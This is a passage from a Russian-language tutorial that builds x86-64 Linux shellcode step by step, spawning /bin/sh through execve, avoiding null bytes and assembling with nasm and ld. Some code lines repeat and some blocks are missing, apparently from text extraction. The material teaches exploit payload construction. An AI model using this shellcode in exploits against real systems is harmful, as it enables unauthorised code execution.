
Третий параметр представляет собой информацию об окружении, нам он не нужен, поэтому будет иметь значение null.

Сначала получим нулевой байт. Мы не можем использовать структуру вида mov eax, 0x00, поскольку это приведет к появлению null-байтов в коде, так что мы будем использовать следующую инструкцию:

xor rdx, rdx

Оставим это значение в регистре rdx - оно еще понадобится в качестве символа конца строки и значения третьего параметра (которое будет null).

Так как стек растет от старших адресов к младшим, а функция execve() будет читать входные параметры от младших к старшим (то есть стек работает с памятью в обратном порядке), то на стек мы будем класть перевернутые значения.

Для того чтобы перевернуть строку и перевести ее в hex , можно использовать следующую функцию на Python:


Вызовем эту функцию для /bin/sh: >>> rev.rev_str(«/bin/sh»)

"68732f6e69622f"

Мы получили нулевой байт (второй байт с конца), который сломает наш шеллкод. Чтобы этого не произошло, воспользуемся тем, что Linux игнорирует последовательные слеши (то есть /bin/sh и /bin//sh - это одно и то же).

>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"

Никаких нулевых байтов!

Затем на сайте ищем информацию о функции execve(). Смотрим номер функции, который положим в rax, - 59. Смотрим, какие регистры используются:
rdi -хранитадресстроки FILENAME ;
rsi -хранитадресстрокиargv;
rdx -хранитадресстрокиenvp.

Теперь собираем все воедино.
Кладем в стек символ конца строки (помним, что все делается в обратном порядке):

xor rdx, rdx push rdx

xor rdx , rdx

push rdx

Кладем в стек строку /bin//sh: mov rax, 0x68732f2f6e69622f
push rax

Получаем адрес строки /bin//sh в стеке и сразу помещаем его в rdi: mov rdi, rsp

В rsi необходимо положить указатель на массив строк. В нашем случае этот массив будет содержать только путь до исполняемого файла, поэтому достаточно положить туда адрес, который ссылается на память, где лежит адрес строки (на языке С указатель на указатель). Адрес строки у нас уже есть, он находится в регистре rdi. Массив argv должен заканчиваться null-байтом, который у нас находится в регистре rdx:

push rdx push rdi mov rsi, rsp

push rdx

push rdi

mov rsi , rsp

Теперь rsi указывает на адрес в стеке, в котором лежит указатель на строку /bin//sh.

Кладем в rax номер функции execve(): xor rax, rax
mov al, 0x3b

В итоге получили такой файл:


Компилируем и линкуем под x64. Для этого:

$ nasm -f elf64 example.asm $ ld -m elf_x86_64 -s -o example example.o

$ nasm - f elf64 example .asm

$ ld - m elf_x86_64 - s - o example example .o

Теперь можем использовать objdump -d example для того, чтобы посмотреть получившийся файл.